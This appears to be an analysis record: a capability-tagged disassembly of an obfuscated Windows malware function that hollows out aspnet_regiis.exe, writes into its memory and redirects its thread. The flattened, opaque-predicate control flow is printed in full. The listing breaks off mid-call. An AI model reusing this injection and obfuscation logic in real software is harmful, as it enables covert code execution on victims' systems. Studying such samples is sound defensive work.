Function at 0x1000caa0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [0x1008a080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
add edx, 0xa03584c0
sub edx, 1
sub edx, 0xa03584c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x126], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x12c], 0x72a08db6
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x130], eax
sub eax, 0x8230dcff
je 0x100107c0
jmp 0x1000cb1b
mov eax, dword [ebp - 0x130]
sub eax, 0x8308be96
je 0x1001012f
jmp 0x1000cb31
mov eax, dword [ebp - 0x130]
sub eax, 0x8318b97f
je 0x10010159
jmp 0x1000cb47
mov eax, dword [ebp - 0x130]
sub eax, 0x841928e4
je 0x1000fc14
jmp 0x1000cb5d
mov eax, dword [ebp - 0x130]
sub eax, 0x857f49c8
je 0x1000f2c3
jmp 0x1000cb73
mov eax, dword [ebp - 0x130]
sub eax, 0x858ce613
je 0x1000f9e8
jmp 0x1000cb89
mov eax, dword [ebp - 0x130]
sub eax, 0x87fa7c82
je 0x1000fcf8
jmp 0x1000cb9f
mov eax, dword [ebp - 0x130]
sub eax, 0x88527715
je 0x1000f05c
jmp 0x1000cbb5
mov eax, dword [ebp - 0x130]
sub eax, 0x8a61b32a
je 0x10010203
jmp 0x1000cbcb
mov eax, dword [ebp - 0x130]
sub eax, 0x8b91ba75
je 0x1000ec6a
jmp 0x1000cbe1
mov eax, dword [ebp - 0x130]
sub eax, 0x8dd228dd
je 0x1000fb07
jmp 0x1000cbf7
mov eax, dword [ebp - 0x130]
sub eax, 0x8e35d958
je 0x10010263
jmp 0x1000cc0d
mov eax, dword [ebp - 0x130]
sub eax, 0x8f1b1a61
je 0x1000f842
jmp 0x1000cc23
mov eax, dword [ebp - 0x130]
sub eax, 0x8fe741d8
je 0x1000e284
jmp 0x1000cc39
mov eax, dword [ebp - 0x130]
sub eax, 0x90733c07
je 0x10010061
jmp 0x1000cc4f
mov eax, dword [ebp - 0x130]
sub eax, 0x92a58033
je 0x100107da
jmp 0x1000cc65
mov eax, dword [ebp - 0x130]
sub eax, 0x97b330bb
je 0x1000f473
jmp 0x1000cc7b
mov eax, dword [ebp - 0x130]
sub eax, 0x9cf0f43a
je 0x1000dd79
jmp 0x1000cc91
mov eax, dword [ebp - 0x130]
sub eax, 0x9f4d0b6c
je 0x1000fcc6
jmp 0x1000cca7
mov eax, dword [ebp - 0x130]
sub eax, 0xa0727918
je 0x1000dd6a
jmp 0x1000ccbd
mov eax, dword [ebp - 0x130]
sub eax, 0xa30ec1ec
je 0x1000fd14
jmp 0x1000ccd3
mov eax, dword [ebp - 0x130]
sub eax, 0xa5ba739c
je 0x1000e80f
jmp 0x1000cce9
mov eax, dword [ebp - 0x130]
sub eax, 0xa8323db2
je 0x10010402
jmp 0x1000ccff
mov eax, dword [ebp - 0x130]
sub eax, 0xa95ebadf
je 0x1000faf8
jmp 0x1000cd15
mov eax, dword [ebp - 0x130]
sub eax, 0xaa0a3096
je 0x1000fe49
jmp 0x1000cd2b
mov eax, dword [ebp - 0x130]
sub eax, 0xac16df4d
je 0x1000e14d
jmp 0x1000cd41
mov eax, dword [ebp - 0x130]
sub eax, 0xb1652da3
je 0x1001046d
jmp 0x1000cd57
mov eax, dword [ebp - 0x130]
sub eax, 0xb2ad4df3
je 0x1000e712
jmp 0x1000cd6d
mov eax, dword [ebp - 0x130]
sub eax, 0xb4c8e52d
je 0x1000ee1f
jmp 0x1000cd83
mov eax, dword [ebp - 0x130]
sub eax, 0xb4f974af
je 0x1000fd32
jmp 0x1000cd99
mov eax, dword [ebp - 0x130]
sub eax, 0xb94155b9
je 0x1000e6e3
jmp 0x1000cdaf
mov eax, dword [ebp - 0x130]
sub eax, 0xba00c598
je 0x1000ea98
jmp 0x1000cdc5
mov eax, dword [ebp - 0x130]
sub eax, 0xba64f89f
je 0x1000e9ef
jmp 0x1000cddb
mov eax, dword [ebp - 0x130]
sub eax, 0xbb756536
je 0x1000eec3
jmp 0x1000cdf1
mov eax, dword [ebp - 0x130]
sub eax, 0xbc4cb6c0
je 0x1000ec0a
jmp 0x1000ce07
mov eax, dword [ebp - 0x130]
sub eax, 0xbce30e0d
je 0x1000e3cb
jmp 0x1000ce1d
mov eax, dword [ebp - 0x130]
sub eax, 0xc0e2679b
je 0x1000e057
jmp 0x1000ce33
mov eax, dword [ebp - 0x130]
sub eax, 0xc493a1a8
je 0x1000ed76
jmp 0x1000ce49
mov eax, dword [ebp - 0x130]
sub eax, 0xc83fc382
je 0x10010691
jmp 0x1000ce5f
mov eax, dword [ebp - 0x130]
sub eax, 0xc87350bb
je 0x1000e2f6
jmp 0x1000ce75
mov eax, dword [ebp - 0x130]
sub eax, 0xc9051b0c
je 0x1000feea
jmp 0x1000ce8b
mov eax, dword [ebp - 0x130]
sub eax, 0xcc7b86ea
je 0x1000eeb4
jmp 0x1000cea1
mov eax, dword [ebp - 0x130]
sub eax, 0xcd673c18
je 0x1000fda8
jmp 0x1000ceb7
mov eax, dword [ebp - 0x130]
sub eax, 0xcea5bfee
je 0x1000f3b6
jmp 0x1000cecd
mov eax, dword [ebp - 0x130]
sub eax, 0xd03368ad
je 0x1001018d
jmp 0x1000cee3
mov eax, dword [ebp - 0x130]
sub eax, 0xd1c7050b
je 0x1000f9d9
jmp 0x1000cef9
mov eax, dword [ebp - 0x130]
sub eax, 0xd21110fb
je 0x100105f7
jmp 0x1000cf0f
mov eax, dword [ebp - 0x130]
sub eax, 0xd27f2c8c
je 0x1000f2d2
jmp 0x1000cf25
mov eax, dword [ebp - 0x130]
sub eax, 0xd34bc78c
je 0x10010634
jmp 0x1000cf3b
mov eax, dword [ebp - 0x130]
sub eax, 0xd736a128
je 0x1000f0dd
jmp 0x1000cf51
mov eax, dword [ebp - 0x130]
sub eax, 0xd76377ed
je 0x1000fef9
jmp 0x1000cf67
mov eax, dword [ebp - 0x130]
sub eax, 0xd78ed0f4
je 0x1000e0c9
jmp 0x1000cf7d
mov eax, dword [ebp - 0x130]
sub eax, 0xdb46799f
je 0x1000edce
jmp 0x1000cf93
mov eax, dword [ebp - 0x130]
sub eax, 0xdcfeb43f
je 0x1000f99c
jmp 0x1000cfa9
mov eax, dword [ebp - 0x130]
sub eax, 0xdda9a393
je 0x10010563
jmp 0x1000cfbf
mov eax, dword [ebp - 0x130]
sub eax, 0xde461330
je 0x1000d9f2
jmp 0x1000cfd5
mov eax, dword [ebp - 0x130]
sub eax, 0xde948677
je 0x1000f78b
jmp 0x1000cfeb
mov eax, dword [ebp - 0x130]
sub eax, 0xe01d7016
je 0x1000f340
jmp 0x1000d001
mov eax, dword [ebp - 0x130]
sub eax, 0xe143c773
je 0x1000e3aa
jmp 0x1000d017
mov eax, dword [ebp - 0x130]
sub eax, 0xe65de799
je 0x1000efd0
jmp 0x1000d02d
mov eax, dword [ebp - 0x130]
sub eax, 0xe66597c4
je 0x1000dc2a
jmp 0x1000d043
mov eax, dword [ebp - 0x130]
sub eax, 0xe811af3a
je 0x1000fb75
jmp 0x1000d059
mov eax, dword [ebp - 0x130]
sub eax, 0xe87c99a9
je 0x10010843
jmp 0x1000d06f
mov eax, dword [ebp - 0x130]
sub eax, 0xe91c4594
je 0x1000f3d4
jmp 0x1000d085
mov eax, dword [ebp - 0x130]
sub eax, 0xea701186
je 0x1000e578
mov dword [ebp - 0x12c], 0x312c395a
jmp 0x1001084d
mov dl, byte [ebp - 0xb5]
mov eax, 0x8e35d958
mov ecx, 0xbae91bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x9cf0f43a
jmp 0x1001084d
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa8b7733
mov ecx, 0x1a3e729a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dl, byte [ebp - 0x9b]
mov eax, 0x464fb2b4
mov ecx, 0x71131f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [ebp - 0x108]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
add edx, 0xb24ea678
sub edx, 1
sub edx, 0xb24ea678
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x72daf87a
mov ecx, 0xac16df4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x7e542829
jmp 0x1001084d
mov dl, byte [ebp - 0x9a]
mov eax, 0x1ccb626e
mov ecx, 0x75eebb20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x99], al
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
add edx, 0x444ee0cb
sub edx, 1
sub edx, 0x444ee0cb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6b4b96a7
mov ecx, 0x1d03497a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dl, byte [ebp - 0x99]
mov eax, 0x1942f1a5
mov ecx, 0xbce30e0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1000c4a0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x12c], 0x151e35c9
jmp 0x1001084d
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax + 0x88]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0
mov dword [ebp - 0x12c], 0xb2ad4df3
jmp 0x1001084d
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x7c], ax
mov dword [ebp - 0x12c], 0x374f7c0c
jmp 0x1001084d
mov dl, byte [ebp - 0x79]
mov eax, 0x5b7fa29c
mov ecx, 0xfe375f83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x12c], 0x15622307
jmp 0x1001084d
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
add ecx, 0x7765ae8e
add ecx, eax
sub ecx, 0x7765ae8e
mov eax, dword [ebp - 0x70]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x65], al
mov eax, dword [0x1008b53c]
mov ecx, dword [0x1008b538]
mov edx, eax
add edx, 0x6604ecae
sub edx, 1
sub edx, 0x6604ecae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdda9a393
mov ecx, 0xf34e7ff6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x46d58e0f
jmp 0x1001084d
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x60]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x64]
add ecx, eax
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov edx, dword [ebp - 0xf8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe8]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [0x1008b53c]
mov ecx, dword [0x1008b538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8fbcb01
mov ecx, 0xf2a6476c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [0x1008b53c]
mov ecx, dword [0x1008b538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd21110fb
mov ecx, 0x431b95c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [0x1008b53c]
mov ecx, dword [0x1008b538]
mov edx, eax
sub edx, 0x84cd16b4
sub edx, 1
add edx, 0x84cd16b4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42c6a95a
mov ecx, 0xb4c8e52d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
add ecx, 0x5798020f
add ecx, 1
sub ecx, 0x5798020f
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
sub edx, 0xe36b7917
sub edx, 1
add edx, 0xe36b7917
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x42c6a95a
mov ecx, 0xcc7b86ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dword [ebp - 0x12c], 0xbb756536
jmp 0x1001084d
mov dword [ebp - 0x12c], 0xb2ad4df3
jmp 0x1001084d
mov edx, dword [ebp - 0x5c]
mov eax, 0x841928e4
mov ecx, 0x29ce31db
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
add edx, 0x62ca667
sub edx, 1
sub edx, 0x62ca667
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1aca54e2
mov ecx, 0xd736a128
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x6fe88da4
jmp 0x1001084d
mov dword [ebp - 0x12c], 0xd27f2c8c
jmp 0x1001084d
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1feb774a
mov ecx, 0xe01d7016
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
sub edx, 0x7d652b0a
sub edx, 1
add edx, 0x7d652b0a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1feb774a
mov ecx, 0xcea5bfee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dl, byte [ebp - 0x51]
mov eax, 0x4754d989
mov ecx, 0xe91c4594
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
add ecx, 0x4e8bfe54
add ecx, 8
sub ecx, 0x4e8bfe54
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x12c], 0x5d9c37dd
jmp 0x1001084d
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x12c], 0x2087b59b
jmp 0x1001084d
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x12c], 0x4ba01d6d
jmp 0x1001084d
mov eax, dword [ebp - 0x30]
mov edx, dword [eax]
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x34]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x1008b53c]
mov ecx, dword [0x1008b538]
mov edx, eax
add edx, 0x7c9ed61a
sub edx, 1
sub edx, 0x7c9ed61a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2088fee
mov ecx, 0x5a03bc1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x309e837b
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x97b330bb
jmp 0x1001084d
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
add edx, 0xe61215d7
sub edx, 1
sub edx, 0xe61215d7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x15a34bd
mov ecx, 0xec9e387a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x8dd228dd
jmp 0x1001084d
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8230dcff
mov ecx, 0xe811af3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
sub edx, 0x3b8f5570
sub edx, 1
add edx, 0x3b8f5570
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8230dcff
mov ecx, 0x57da14e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 8
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x12c], 0x50b91c32
jmp 0x1001084d
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0x87fa7c82
jmp 0x1001084d
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x12c], 0xa30ec1ec
jmp 0x1001084d
mov edx, dword [ebp - 0x1c]
mov eax, 0xc9051b0c
mov ecx, 0xb4f974af
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
add edx, 0xc468babd
sub edx, 1
sub edx, 0xc468babd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x92a58033
mov ecx, 0xcd673c18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0xcfcbf308
sub ecx, eax
add ecx, 0xcfcbf308
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
add edx, 0xd1a60b8
sub edx, 1
sub edx, 0xd1a60b8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x92a58033
mov ecx, 0xaa0a3096
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x51dd1e74
jmp 0x1001084d
mov dword [ebp - 0x12c], 0xd76377ed
jmp 0x1001084d
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x114]
add eax, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x12c], 0x58de73c4
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x1942f1a5
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x1ccb626e
jmp 0x1001084d
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x12c], 0xd03368ad
jmp 0x1001084d
mov ecx, dword [0x1008b53c]
mov eax, dword [0x1008b538]
mov edx, ecx
sub edx, 0xcbf04d7f
sub edx, 1
add edx, 0xcbf04d7f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe87c99a9
mov ecx, 0x8a61b32a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov eax, dword [0x1008b53c]
mov ecx, dword [0x1008b538]
mov edx, eax
add edx, 0xd90dc9de
sub edx, 1
sub edx, 0xd90dc9de
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe87c99a9
mov ecx, 0xfde5521a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1001084d
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001c310
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x90]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
